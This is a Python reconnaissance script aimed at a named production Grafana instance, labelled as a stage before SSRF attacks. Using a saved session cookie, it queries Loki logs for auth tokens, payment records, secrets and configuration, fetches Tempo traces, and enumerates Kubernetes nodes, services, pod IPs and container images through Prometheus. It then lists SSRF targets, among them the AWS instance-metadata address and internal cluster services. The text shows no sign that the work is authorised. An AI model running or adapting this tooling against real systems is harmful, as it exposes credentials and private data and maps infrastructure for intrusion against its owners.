#!/usr/bin/env python3
"""L2 deep recon: Loki startup/auth/payment + Tempo traces + Prometheus k8s enum.
Read-only. Auto-approved. Goes broad before L3 SSRF to prioritise targets."""
import json, subprocess, sys, re, time

BASE = "https://grafana.adgentic.tv"
COOKIE = ".session_cookies"

def curl_json(url, method="GET", data=None, timeout=30):
    cmd = ["curl", "-sk", "-b", COOKIE, "-w", "\n%{http_code}", "--max-time", str(timeout)]
    if method != "GET":
        cmd += ["-X", method]
    if data:
        cmd += ["-H", "Content-Type: application/json", "-d", data]
    cmd.append(url)
    r = subprocess.run(cmd, capture_output=True, text=True)
    out = r.stdout.strip()
    # split body + http_code
    idx = out.rfind("\n")
    if idx >= 0:
        body, code = out[:idx], out[idx+1:]
    else:
        body, code = out, "?"
    try:
        return json.loads(body), code
    except:
        return body, code

def loki_query(expr, hours=24, max_lines=500):
    payload = json.dumps({
        'queries': [{'refId':'A','datasource':{'uid':'loki','type':'loki'},
                     'expr': expr, 'queryType':'range', 'maxLines': max_lines}],
        'from': f'now-{hours}h', 'to':'now'
    })
    d, code = curl_json(f"{BASE}/api/ds/query", method="POST", data=payload, timeout=60)
    if not isinstance(d, dict):
        return []
    frames = d.get('results',{}).get('A',{}).get('frames',[])
    lines = []
    for f in frames:
        vals = f.get('data',{}).get('values',[])
        if len(vals) > 2:
            lines.extend(vals[2])
    return lines

def prom_query(expr):
    """Instant query via /api/ds/query"""
    payload = json.dumps({
        'queries': [{'refId':'A','datasource':{'uid':'prometheus','type':'prometheus'},
                     'expr': expr, 'queryType':'instant', 'maxLines': 500}],
        'from':'now','to':'now'
    })
    d, code = curl_json(f"{BASE}/api/ds/query", method="POST", data=payload, timeout=60)
    if not isinstance(d, dict):
        return []
    frames = d.get('results',{}).get('A',{}).get('frames',[])
    results = []
    for f in frames:
        vals = f.get('data',{}).get('values',[])
        # numeric instant: col0=time, col1=value
        if len(vals) >= 2:
            results.append(vals[1][0] if isinstance(vals[1],list) and vals[1] else None)
    return results

def prom_series(match):
    """Series API via resources endpoint"""
    d, code = curl_json(f"{BASE}/api/datasources/uid/prometheus/resources/api/v1/series?match%5B%5D={match}", timeout=60)
    if isinstance(d, dict):
        return d.get('data', [])
    return []

def tempo_search():
    """Tempo API search"""
    d, code = curl_json(f"{BASE}/api/datasources/uid/tempo/api/search?limit=50", timeout=30)
    return d, code

def tempo_trace(trace_id):
    """Get single trace"""
    d, code = curl_json(f"{BASE}/api/datasources/uid/tempo/api/traces/{trace_id}", timeout=30)
    return d, code

def main():
    print("=" * 70)
    print("L2 DEEP RECON — grafana.adgentic.tv (2026-09-28)")
    print("=" * 70)

    # ============================================================
    # PART 1: LOKI DEEP MINING
    # ============================================================
    print("\n" + "=" * 70)
    print("PART 1: LOKI DEEP MINING")
    print("=" * 70)

    LOKI_QUERIES = [
        # Startup — HikariPool, datasource, jdbc
        ("STARTUP/HikariPool 30d",
         '{namespace="prod",app="prod-backend"} |~ "(?i)(HikariPool|Starting|Started.*Application|datasource|jdbcUrl|spring\\.datasource)"',
         720, 200),
        # Auth current-user responses (full profile)
        ("AUTH CURRENT-USER RESPONSES 7d",
         '{namespace="prod",app="prod-backend"} |~ "current-user" |= "RESPONSE"',
         168, 100),
        # Payment/Invoice
        ("PAYMENT/INVOICE 14d",
         '{namespace="prod",app="prod-backend"} |~ "(?i)(payment|invoice|billing|charge|refund|subscription)"',
         336, 100),
        # Activate token generation
        ("ACTIVATE AUTH TOKEN 14d",
         '{namespace="prod",app="prod-backend"} |~ "(?i)(ActivateAuth|access.?token|pubmatic.*auth)"',
         336, 50),
        # Internal endpoints
        ("INTERNAL ENDPOINTS 14d",
         '{namespace="prod",app="prod-backend"} |~ "/internal/"',
         336, 50),
        # Spring Boot actuator
        ("ACTUATOR 14d",
         '{namespace="prod",app="prod-backend"} |~ "(?i)(actuator|health|env|configprops|beans|mappings|/info)"',
         336, 50),
        # Error with SQL
        ("SQL ERRORS 7d",
         '{namespace="prod",app="prod-backend"} |~ "(?i)(SQL.*error|SQLException|mysql.*error|deadlock|constraint)"',
         168, 50),
        # Docker/config references
        ("CONFIG/PROPERTIES 14d",
         '{namespace="prod",app="prod-backend"} |~ "(?i)(application\\.properties|application\\.yml|config\\.json|env\\.vars|SECRET|PRIVATE)"',
         336, 50),
    ]

    loki_findings = {}
    for label, expr, hours, limit in LOKI_QUERIES:
        print(f"\n--- LOKI: {label} ---")
        lines = loki_query(expr, hours=hours, max_lines=limit)
        print(f"  lines: {len(lines)}")
        loki_findings[label] = []
        for i, l in enumerate(lines[:limit]):
            s = str(l)
            loki_findings[label].append(s)
            if len(lines) <= 10:
                print(f"  [{i+1}] {s[:600]}")
            elif i < 5:
                print(f"  [{i+1}] {s[:500]}")
        if len(lines) > 5:
            print(f"  ... ({len(lines)-5} more, saved to findings)")

    # ============================================================
    # PART 2: TEMPO TRACE INSPECTION
    # ============================================================
    print("\n" + "=" * 70)
    print("PART 2: TEMPO TRACE INSPECTION")
    print("=" * 70)

    # Search for services in Tempo
    print("\n--- Tempo: search services ---")
    traces_data, code = tempo_search()
    print(f"  http_code: {code}")
    if isinstance(traces_data, dict):
        traces = traces_data.get('traces', [])
        print(f"  traces found: {len(traces)}")
        for t in traces[:20]:
            print(f"    {t}")
    elif isinstance(traces_data, list):
        print(f"  traces (list): {len(traces_data)}")
        for t in traces_data[:20]:
            print(f"    {t}")
    else:
        print(f"  raw: {str(traces_data)[:500]}")

    # Try fetching a few trace_ids we saw in logs
    trace_ids_to_fetch = [
        "7b00d1106bb27b38a93326ab4ead3e66",  # Activate auth
        "d1b709fcc572553b9404920b821533ab",  # concurrency
        "e2eb7bedf08eefe3e66a87118863b3e9",  # attribution
        "16785db871bc2ee632fe38ff8b668333",  # pubmatic S3
    ]
    print(f"\n--- Tempo: fetching {len(trace_ids_to_fetch)} specific traces ---")
    tempo_findings = {}
    for tid in trace_ids_to_fetch:
        print(f"\n  trace {tid}:")
        trace, code = tempo_trace(tid)
        print(f"    http_code: {code}")
        if isinstance(trace, dict):
            batches = trace.get('batches', [])
            print(f"    batches: {len(batches)}")
            for bi, b in enumerate(batches[:3]):
                attrs = {a.get('key'): a.get('value',{}).get('stringValue','') for a in b.get('resource',{}).get('attributes',[])}
                svc = attrs.get('service.name','?')
                print(f"    batch[{bi}] service={svc} attrs={list(attrs.keys())[:10]}")
                spans = b.get('spans', [])
                print(f"      spans: {len(spans)}")
                for si, sp in enumerate(spans[:5]):
                    op = sp.get('name','?')
                    sp_attrs = {a.get('key'): a.get('value',{}).get('stringValue','') for a in sp.get('attributes',[])}
                    interesting = {k:v for k,v in sp_attrs.items() if any(x in k.lower() for x in ['sql','db','http','url','query','statement','user'])}
                    print(f"      span[{si}] op={op} interesting={interesting}")
            tempo_findings[tid] = trace
        else:
            print(f"    raw: {str(trace)[:500]}")
            tempo_findings[tid] = str(trace)

    # ============================================================
    # PART 3: PROMETHEUS FULL K8S ENUM
    # ============================================================
    print("\n" + "=" * 70)
    print("PART 3: PROMETHEUS FULL K8S ENUM")
    print("=" * 70)

    # 3a: k8s nodes (internal IPs)
    print("\n--- Prometheus: k8s nodes ---")
    nodes = prom_series('kube_node_info')
    print(f"  nodes: {len(nodes)}")
    node_ips = []
    for n in nodes:
        ip = n.get('internal_ip','')
        name = n.get('node','')
        node_ips.append((name, ip))
        print(f"    {name} ip={ip}")

    # 3b: k8s services (internal endpoints)
    print("\n--- Prometheus: k8s services ---")
    services = prom_series('kube_service_info')
    print(f"  services: {len(services)}")
    svc_list = []
    for s in services:
        ns = s.get('namespace','?')
        svc = s.get('service','?')
        port = s.get('port','?')
        svc_list.append((ns, svc, port))
        print(f"    ns={ns} svc={svc} port={port}")

    # 3c: k8s endpoints (pod IPs)
    print("\n--- Prometheus: k8s endpoints ---")
    endpoints = prom_series('kube_endpoint_address')
    print(f"  endpoint series: {len(endpoints)}")
    pod_ips = set()
    for e in endpoints[:50]:
        ip = e.get('ip','')
        ns = e.get('namespace','?')
        svc = e.get('endpoint','?')
        pod_ips.add(ip)
        print(f"    ns={ns} svc={svc} ip={ip}")

    # 3d: container images (registries)
    print("\n--- Prometheus: k8s containers/images ---")
    containers = prom_series('kube_pod_container_info')
    print(f"  container series: {len(containers)}")
    images = set()
    for c in containers[:30]:
        img = c.get('image','?')
        images.add(img)
        print(f"    pod={c.get('pod','?')} image={img}")

    # 3e: deployments
    print("\n--- Prometheus: k8s deployments ---")
    deps = prom_series('kube_deployment_spec_replicas')
    print(f"  deployments: {len(deps)}")
    for d in deps:
        print(f"    ns={d.get('namespace','?')} deploy={d.get('deployment','?')}")

    # 3f: kube_pod_info full (all pods with node/IP)
    print("\n--- Prometheus: all pods (with node) ---")
    pods = prom_series('kube_pod_info')
    print(f"  pod series: {len(pods)}")
    all_pods = []
    for p in pods:
        ns = p.get('namespace','')
        pod = p.get('pod','')
        node = p.get('node','')
        ip = p.get('pod_ip','')
        all_pods.append((ns, pod, node, ip))
    ns_summary = {}
    for ns, pod, node, ip in all_pods:
        ns_summary.setdefault(ns, []).append(pod)
    for ns in sorted(ns_summary):
        print(f"  ns={ns}: {len(ns_summary[ns])} pods")

    # ============================================================
    # SUMMARY
    # ============================================================
    print("\n" + "=" * 70)
    print("L2 DEEP RECON SUMMARY")
    print("=" * 70)

    print("\n[Loki findings]")
    for label, lines in loki_findings.items():
        print(f"  {label}: {len(lines)} lines")

    print("\n[Tempo findings]")
    for tid, trace in tempo_findings.items():
        if isinstance(trace, dict):
            batches = trace.get('batches', [])
            total_spans = sum(len(b.get('spans',[])) for b in batches)
            print(f"  {tid}: {len(batches)} batches, {total_spans} spans")
        else:
            print(f"  {tid}: raw text")

    print("\n[k8s topology]")
    print(f"  nodes: {len(node_ips)}")
    print(f"  services: {len(svc_list)}")
    print(f"  pods: {len(all_pods)}")
    print(f"  pod IPs: {len(pod_ips)}")
    print(f"  container images: {len(images)}")

    print("\n[SSRF target candidates]")
    print("  AWS IMDS: http://169.254.169.254/latest/meta-data/")
    print("  k8s API: https://kubernetes.default.svc")
    for ns, svc, port in svc_list:
        if ns in ('prod','monitoring') and svc not in ('kubernetes'):
            print(f"  internal svc: http://{svc}.{ns}.svc.cluster.local:{port}")


if __name__ == "__main__":
    main()
